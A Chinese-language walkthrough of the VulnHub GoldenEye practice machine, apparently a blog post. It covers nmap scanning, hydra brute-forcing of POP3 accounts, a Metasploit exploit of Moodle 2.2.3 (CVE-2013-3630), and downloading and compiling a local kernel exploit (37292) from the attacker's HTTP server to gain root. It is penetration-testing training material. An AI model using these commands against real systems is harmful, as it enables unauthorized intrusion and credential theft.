渗透项目(一):GodlenEye

靶机地址:Vulnerable By Design ~ VulnHub

1、GoldenEye项目考察点:

1)信息收集:

1、nmap挖掘信息。2、挖掘HTTP服务。3、挖掘JS信息。4、HTML解密。5、信息页面枚举。6、nmap全端口信息枚举。7、nmap版本信息枚举

2)暴力破解:

1、hydra暴力破解。2、信息收集。3、设置本地hosts文件。4、后台信息收集。5、暴力破解doak用户。6、邮件信息枚举。7、使用新账户密码登录CMS。8、图片隐写信息枚举。9、Base64解码10、admin后台信息枚举。

3)Getshell技巧:

1、MSF拿权限。2、代码反弹Shell

4)提权:

1、内核提权。2、kali内核提权。3、CC编译EXP。4、内核提权Root

步骤:

1、将下载的虚拟机解压,利用vmware添加,在此不赘述了

2、打开kali,使用nmap开始对同一网络进行扫描:

nmap -sP 192.168.183.1/24(网段)

你会发现好多IP,这就是所谓的主机发现,扫出来的IP就是这个网段的所有所有的主机的IP——探测主机的存活性

3、发现同网段下靶机地址:192.168.183.128,进行nmap挖掘ip地址信息。

nmap -sS -sV -T5 -A 192.168.183.128

-T5 ip地址 速度最快,准确率低,-sS SYN扫描,使用最频繁,安全,快,-sV 对端口上的服务程序版本进行扫描,-A   强力扫描,耗时长

4、扫描结果,发现开放25和80端口,有http服务

5、访问192.168.183.128地址,搜索页面上提供的信息 

 发现sev-home的路径,输入后得到登录弹窗,然后返回上一页查看本地代码发现,.js文件

点击进入,搜索有用的信息,发现人名和一串HTML编码

  

将人名和编码先记下,利用burp的破译工具Decoder,解码HTML后得到密码:InvincibleHack3r

自此用户名和密码分别为:boris/InvincibleHack3r

6、登录成功后,进入后,搜索页面有用信息:is very effective, we have configured our pop3 service to run on a very high non-default port
谷歌翻译:非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行

Qualified GoldenEye Network Operator Supervisors: 合格的 GoldenEye 网络运营商主管
Natalya
Boris

从上可以了解到某个端口正运行着一个pop3的服务,利用nmap全端口扫描:

nmap -p- 192.168.183.128

发现了两个unknown的端口:55006、55007,然后扫描详细的端口开启的服务信息发现:

nmap -sS -sV -T5 -A -p55006,55007 192.168.183.128

从上可以看出两个端口开放了pop3的mail服务,然后回想起最初的terminal.js页面,提到该系统boris正在使用默认密码,于是下面的操作就是进行爆破密码。

7、尝试暴力破解,通过kali自带的hydra破解pop3服务:

echo -e 'natalya\nboris' > xiaoli.txt   ---将两个用户名写入txt文本中

hydra -L xiaoli.txt -P /usr/share/wordlists/fasttrack.txt 192.168.183.128 -s 55007 pop3

 等待几分钟获得:

用户:boris 密码:secret1!
用户:natalya 密码:bird

8、通过nc来登录pop3查看相关邮件收集有用的信息:

nc 192.168.183.128 55007     ---登录邮箱

user boris                               ---登录用户
pass secret1!                          ---登录密码
list                                           ---查看邮件数量
retr 1~3                                   ---查看邮件内容

第二封来自用户“natalya”,称她可以破解boris的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。

登录natalya的邮箱查看,方法和上面一致。从其邮箱中得到了一系列有用的信息:

用户名:xenia
密码:RCP90rulez!
boris验证了她是一个有效的承包商,所以只需创建帐户好吗?
如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
**请务必编辑您的主机文件,因为您通常在远程离线工作....
由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息。

vim /etc/hosts

192.168.183.128 severnaya-station.com(将目标的ip地址填入)

10、然后访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录即可。

 提示:如果不知道网站是个什么框架,利用whatweb severnaya-station.com/gnocertdir命令进行指纹搜索也是可以的。

登陆后再次对里面有用的信息进行收集,发现在message中有一份邮件,并发现有个用户名是doak。然后再无其他发现。

11、 继续对doak的邮箱进行暴力破解。

echo doak > xiaoli.txt   ---将用户名写入txt文本中

hydra -L xiaoli.txt -P /usr/share/wordlists/fasttrack.txt 192.168.183.128 -s 55007 pop3 

 得到密码,进行之前同样的操作,登录doak的邮箱进行信息收集。发现有用的信息:

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!

然后在邮箱系统上切换dr_doak的用户,登陆后在主页my home的右边发现了个s3cret.txt的文件,同时发现了moodle这个框架的版本是2.2.3。

点击文件下载后得到,搜索其中有用的信息发现,里面隐藏着管理员用户的密码,就在那个路径里的图片中,输入路径下载图片。

 看似一张图片没有什么,这里得考虑一下图片中是否存在隐写的操作。可以利用3种方式去查看这个图片被隐藏的地方。①kali自带的binwalk 图片路径。②利用exiftool(图虫) 图片名称。③利用strings 图片名称。

发现了双等号的base64编码。利用burp的Decoder解码得到管理员admin用户的密码:xWinter1995x!

 12、切换管理员账户登陆后,和之前dr_doak的邮件里结果一致,然后去搜索Moodle 2.2.3 exp cve   搜索得到可以利用的cve,CVE-2013-3630 漏洞可利用! 29324

13、在kali上进入MSF,输入msfconsole,进入攻击界面,serach moodle查找moodle类型攻击的模块,use 1调用攻击脚本。

 然后show options显示一下该攻击脚本的设置参数。将要求yes的参数设置完毕后,进行run

会发现无法建立连接,回到web端系统里,发现该邮箱的系统使用的google Spell,需要修改成powershell,里面是PSpellShell,然后save。重新返回msfconsole,run,就没问题了。

 

 发现已经建立了shell,并且用户权限仅仅是普通的www-data.执行tty,因为获得的权限无框架:执行python -c 'import pty; pty.spawn("/bin/bash")'     ---将shell进行tty

 14、下面就要进行提权了,首先先进行命令的一系列检索,查看权限已经改主机运行的系统版本,利用uname -a,发现是ubuntu3.13.0,然后利用浏览器搜索Linux ubuntu 3.13.0-32 exploit,获得exp版本是:37292

下面提权方法是利用内核提权,Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

 在kali终端搜索:

searchsploit 37292        ---搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面/   ---目录自行修改

在msfconsole里,查看靶机是否安装了相应的编译程序,比如之前利用python的时候,需要先查看,靶机是否安装了python,利用which python,如果安装则会返回相应的地址。这时候应查看是否安装了gcc,发现并没有,但是发现靶机安装了cc,于是可以先在kali本地将37292.c编辑。

vim 37292.c,将中的gcc改为cc。

然后在本地目录开启http服务: python -m SimpleHTTPServer 8099(如果不行,可以使用python -m http.server 8099)

然后在msfconsole,直接

wget http://192.168.183.129:8099/Desktop/37292.c   ---wget下载http服务下的文件

然后利用cc编译37292.c文件

cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp           ---编译成可执行文件,并赋权
./exp                          ---点杠执行

提权成功,成功获得root权限,然后查看根目录,寻找靶机的flag

这里如果cd /root后,利用ls命令,无法查看到flag文件,需要利用   ls -a  显示所有文件并且包括隐藏的文件,发现.flag.txt文件

得到了flag,渗透结束~下面给了路径,可以返回到靶机的ip,将提示的路径输入192.168.183.128/006-final/xvf7-flag/

什么鬼东西!!! 

补充说明一下:linux的那个内核提权的漏洞:

        overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

        此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

自此本次靶机渗透全部结束啦!伸个懒腰,继续努力,持续更新渗透项目的笔记,更好的学习以及复习~继续加油!!!!

  • 11
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值